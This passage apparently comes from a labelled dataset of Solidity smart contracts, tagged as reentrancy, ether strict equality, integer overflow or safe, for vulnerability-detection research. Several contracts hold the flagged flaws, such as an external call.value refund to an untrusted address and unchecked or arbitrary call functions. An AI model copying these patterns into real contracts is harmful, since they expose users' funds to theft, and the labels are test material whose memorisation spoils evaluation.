responsible for transfer of tokens based on price, msg.sender and msg.value * tracks investment total of msg.sender * refunds any spare change */ function () payable { /* crowdfund period is over */ if(now > deadline) crowdsaleClosed = true; /* crowdsale is closed */ if (crowdsaleClosed) throw; /* do not allow creating 0 */ if (msg.value == 0) throw; /* * transfer tokens * check/set week two price rise */ if(now < weekTwoPriceRiseBegin) { /* week 1 power token conversion * 2: 1 ETH = 200 tokens */ if(tokenReward.transfer(msg.sender, ((msg.value*price)/price)*2)) { LogFundTransfer(msg.sender, msg.value, true); } else { throw; } }else{ /* week 2 conversion: 1 ETH = 100 tokens */ if(tokenReward.transfer(msg.sender, (msg.value*price)/price)) { LogFundTransfer(msg.sender, msg.value, true); } else { throw; } } /* add to amountRaised */ amountRaised = safeAdd(amountRaised, msg.value); /* track ETH balanceOf address in case emergency refund is required */ balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], msg.value); } /* * @notice public function * onlyAfterDeadline * moves ether to beneficiary contracts if goal reached * if goal not reached msg.sender can withdraw their deposit */ function safeWithdraw() public onlyAfterDeadline { if (amountRaised >= fundingGoal){ /* allows funds to be moved to beneficiary */ fundingGoalReached = true; /* log event */ LogGoalReached(bankRollBeneficiary, amountRaised); } /* close crowdsale */ crowdsaleClosed = true; /* * public * funding goal not reached * manual refunds */ if (!fundingGoalReached) { calcRefund(msg.sender); } /* * onlyOwner can call * funding goal reached * move funds to beneficiary addresses */ if (msg.sender == owner && fundingGoalReached) { /* multi-sig bankrollBeneficiary receives 80% */ bankrollBeneficiaryAmount = (this.balance*80)/100; /* send to trusted address bankRollBeneficiary 80% */ if (bankRollBeneficiary.send(bankrollBeneficiaryAmount)) { /* log event */ LogFundTransfer(bankRollBeneficiary, bankrollBeneficiaryAmount, false); /* etherollBeneficiary receives remainder */ etherollBeneficiaryAmount = this.balance; /* send to trusted address etherollBeneficiary the remainder */ if(!etherollBeneficiary.send(etherollBeneficiaryAmount)) throw; /* log event */ LogFundTransfer(etherollBeneficiary, etherollBeneficiaryAmount, false); } else { /* allow manual refunds via safeWithdrawal */ fundingGoalReached = false; } } } /* * @notice internal function * @param _addressToRefund the address being refunded * accessed via public functions emergencyWithdraw and safeWithdraw * calculates refund amount available for an address */ function calcRefund(address _addressToRefund) internal { /* assigns var amount to balance of _addressToRefund */ uint amount = balanceOf[_addressToRefund]; /* sets balance to 0 */ balanceOf[_addressToRefund] = 0; /* is there any balance? */ if (amount > 0) { /* call to untrusted address */ if (_addressToRefund.call.value(amount)()) { /* log event */ LogFundTransfer(_addressToRefund, amount, false); } else { /* unsuccessful send so reset the balance */ balanceOf[_addressToRefund] = amount; } } } /* * @notice public function * emergency manual refunds */ function emergencyWithdraw() public isEmergency { /* manual refunds */ calcRefund(msg.sender); } /* * @notice owner restricted function * @param _newEmergencyStatus boolean * sets contract mode to emergency status to allow individual withdraw via emergencyWithdraw() */ function ownerSetEmergencyStatus(bool _newEmergencyStatus) public onlyOwner { /* close crowdsale */ crowdsaleClosed = _newEmergencyStatus; /* allow manual refunds via emergencyWithdraw */ emergency = _newEmergencyStatus; } /* * @notice owner restricted function * burns any unsold tokens at end of crowdfund */ function ownerBurnUnsoldTokens() onlyOwner onlyAfterDeadline { tokenReward.priviledgedAddressBurnUnsoldCoins(); } }",./Dataset/reentrancy (RE)/,5,5 0x04d190939a84d9729b6becd86bcf09317f2a3d3a_MultiTokenNetwork.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } // File: contracts/network/AbstractDeployer.sol contract AbstractDeployer is Ownable { function title() public view returns(string); function deploy(bytes data) external onlyOwner returns(address result) { // solium-disable-next-line security/no-low-level-calls require(address(this).call(data), ""Arbitrary call failed""); // solium-disable-next-line security/no-inline-assembly assembly { returndatacopy(0, 0, 32) result := mload(0) } } } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint i) public view returns(ERC20); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; function disableBundling() public; function enableBundling() public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function weights(address _token) public view returns(uint256); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function disableChanges() public; } // File: contracts/network/MultiTokenNetwork.sol contract MultiTokenNetwork is Pausable { address[] private _multitokens; AbstractDeployer[] private _deployers; event NewMultitoken(address indexed mtkn); event NewDeployer(uint256 indexed index, address indexed oldDeployer, address indexed newDeployer); function multitokensCount() public view returns(uint256) { return _multitokens.length; } function multitokens(uint i) public view returns(address) { return _multitokens[i]; } function allMultitokens() public view returns(address[]) { return _multitokens; } function deployersCount() public view returns(uint256) { return _deployers.length; } function deployers(uint i) public view returns(AbstractDeployer) { return _deployers[i]; } function allWalletBalances(address wallet) public view returns(uint256[]) { uint256[] memory balances = new uint256[](_multitokens.length); for (uint i = 0; i < _multitokens.length; i++) { balances[i] = ERC20(_multitokens[i]).balanceOf(wallet); } return balances; } function deleteMultitoken(uint index) public onlyOwner { require(index < _multitokens.length, ""deleteMultitoken: index out of range""); if (index != _multitokens.length - 1) { _multitokens[index] = _multitokens[_multitokens.length - 1]; } _multitokens.length -= 1; } function deleteDeployer(uint index) public onlyOwner { require(index < _deployers.length, ""deleteDeployer: index out of range""); if (index != _deployers.length - 1) { _deployers[index] = _deployers[_deployers.length - 1]; } _deployers.length -= 1; } function disableBundlingMultitoken(uint index) public onlyOwner { IBasicMultiToken(_multitokens[index]).disableBundling(); } function enableBundlingMultitoken(uint index) public onlyOwner { IBasicMultiToken(_multitokens[index]).enableBundling(); } function disableChangesMultitoken(uint index) public onlyOwner { IMultiToken(_multitokens[index]).disableChanges(); } function setDeployer(uint256 index, AbstractDeployer deployer) public onlyOwner whenNotPaused { require(deployer.owner() == address(this), ""setDeployer: first set MultiTokenNetwork as owner""); emit NewDeployer(index, _deployers[index], deployer); _deployers[index] = deployer; } function deploy(uint256 index, bytes data) public whenNotPaused { address mtkn = _deployers[index].deploy(data); _multitokens.push(mtkn); emit NewMultitoken(mtkn); } function makeCall(address target, uint256 value, bytes data) public onlyOwner { // solium-disable-next-line security/no-call-value require(target.call.value(value)(data), ""Arbitrary call failed""); } }",Safe,8,8 721.sol,"pragma solidity ^0.4.24; interface HourglassInterface { function buy(address _playerAddress) payable external returns(uint256); function withdraw() external; } contract StrongHandsManager { event CreateStrongHand(address indexed owner, address indexed strongHand); mapping (address => address) public strongHands; function getStrong(address _referrer) public payable { require(strongHands[msg.sender] == address(0), ""you already became a Stronghand""); strongHands[msg.sender] = (new StrongHand).value(msg.value)(msg.sender, _referrer); emit CreateStrongHand(msg.sender, strongHands[msg.sender]); } } contract StrongHand { HourglassInterface constant p3dContract = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } constructor(address _owner, address _referrer) public payable { owner = _owner; purchase(msg.value, _referrer); } function() public payable {} function buy(address _referrer) public payable onlyOwner { purchase(msg.value, _referrer); } function purchase(uint256 amount, address _referrer) private { p3dContract.buy.value(amount)(_referrer); } function withdraw() external onlyOwner { p3dContract.withdraw(); owner.transfer(address(this).balance); } }",./Dataset/ether strict equality (SE),3,3 1363.sol,"/** Copyright (c) 2018 SmartTaylor Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. based on the contracts of OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts **/ pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** @title TaylorToken **/ contract TaylorToken is Ownable{ using SafeMath for uint256; /** EVENTS **/ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _owner, uint256 _amount); /** CONTRACT VARIABLES **/ mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; //this address can transfer even when transfer is disabled. mapping (address => bool) public whitelistedTransfer; mapping (address => bool) public whitelistedBurn; string public name = ""Taylor""; string public symbol = ""TAY""; uint8 public decimals = 18; uint256 constant internal DECIMAL_CASES = 10**18; uint256 public totalSupply = 10**7 * DECIMAL_CASES; bool public transferable = false; /** MODIFIERS **/ modifier onlyWhenTransferable(){ if(!whitelistedTransfer[msg.sender]){ require(transferable); } _; } /** CONSTRUCTOR **/ /** @dev Constructor function executed on contract creation **/ function TaylorToken() Ownable() public { balances[owner] = balances[owner].add(totalSupply); whitelistedTransfer[msg.sender] = true; whitelistedBurn[msg.sender] = true; Transfer(address(0),owner, totalSupply); } /** OWNER ONLY FUNCTIONS **/ /** @dev Activates the trasfer for all users **/ function activateTransfers() public onlyOwner { transferable = true; } /** @dev Allows the owner to add addresse that can bypass the transfer lock. Eg: ICO contract, TGE contract. @param _address address Address to be added **/ function addWhitelistedTransfer(address _address) public onlyOwner { whitelistedTransfer[_address] = true; } /** @dev Sends all avaible TAY to the TGE contract to be properly distribute @param _tgeAddress address Address of the token distribution contract **/ function distribute(address _tgeAddress) public onlyOwner { whitelistedTransfer[_tgeAddress] = true; transfer(_tgeAddress, balances[owner]); } /** @dev Allows the owner to add addresse that can burn tokens Eg: ICO contract, TGE contract. @param _address address Address to be added **/ function addWhitelistedBurn(address _address) public onlyOwner { whitelistedBurn[_address] = true; } /** PUBLIC FUNCTIONS **/ /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyWhenTransferable returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom (address _from, address _to, uint256 _value) public onlyWhenTransferable returns (bool success) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. For security reasons, if one need to change the value from a existing allowance, it must furst sets it to zero and then sets the new value * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public onlyWhenTransferable returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** @dev Allows for msg.sender to burn his on tokens @param _amount uint256 The amount of tokens to be burned **/ function burn(uint256 _amount) public returns (bool success) { require(whitelistedBurn[msg.sender]); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); totalSupply = totalSupply.sub(_amount); Burn(msg.sender, _amount); return true; } /** CONSTANT FUNCTIONS **/ /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) view public returns (uint256 balance) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. */ contract TokenVesting is Ownable { using SafeMath for uint256; event Released(uint256 amount); // beneficiary of tokens after they are released address public beneficiary; TaylorToken public token; uint256 public cliff; uint256 public start; uint256 public duration; uint256 public released; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _duration duration in seconds of the period in which the tokens will vest * @param _token The token to be vested */ function TokenVesting(address _beneficiary,address _token, uint256 _start, uint256 _cliff, uint256 _duration) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; duration = _duration; token = TaylorToken(_token); cliff = _start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { uint256 unreleased = releasableAmount(); require(unreleased > 0); released = released.add(unreleased); token.transfer(beneficiary, unreleased); Released(unreleased); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. */ function releasableAmount() public view returns (uint256) { return vestedAmount().sub(released); } /** * @dev Calculates the amount that has already vested. */ function vestedAmount() public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released); if (now < cliff) { return 0; } else if (now >= cliff && now < start.add(duration)) { return totalBalance / 2; } else { return totalBalance; } } }",./Dataset/ether strict equality (SE),3,3 210.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract AquaToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function AquaToken() public { symbol = ""AQT""; name = ""AquaToken""; decimals = 8; _totalSupply = 10000000000000000; balances[0x8436702c9251c4dD378A52c917bf40895c5C9872] = _totalSupply; Transfer(address(0), 0x8436702c9251c4dD378A52c917bf40895c5C9872, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 548.sol,"pragma solidity ^0.4.23; contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract AbstractToken is Token, SafeMath { function AbstractToken () { } function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } mapping (address => uint256) accounts; mapping (address => mapping (address => uint256)) private allowances; } contract IDXToken is AbstractToken { uint256 constant MAX_TOKEN_COUNT = 50000000 * (10**18); address private owner; mapping (address => bool) private frozenAccount; uint256 tokenCount = 0; bool frozen = false; function IDXToken () { owner = msg.sender; } function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = ""INDEX TOKEN""; string constant public symbol = ""IDX""; uint8 constant public decimals = 18; function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); emit Transfer(0x0, msg.sender, _value); return true; } return false; } function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } event Freeze (); event Unfreeze (); event FrozenFunds(address target, bool frozen); event RefundTokens(address _token, address _refund, uint256 _value); }",./Dataset/integer overflow (OF)/,4,4 0x00A4B757cB0B7cff002fCF075D896a77daC533D4_MintedTokenCappedCrowdsaleExt.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin pragma solidity ^0.4.8; /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Interface for defining crowdsale pricing. */ contract PricingStrategy { address public tier; /** Interface declaration. */ function isPricingStrategy() public constant returns (bool) { return true; } /** Self check if 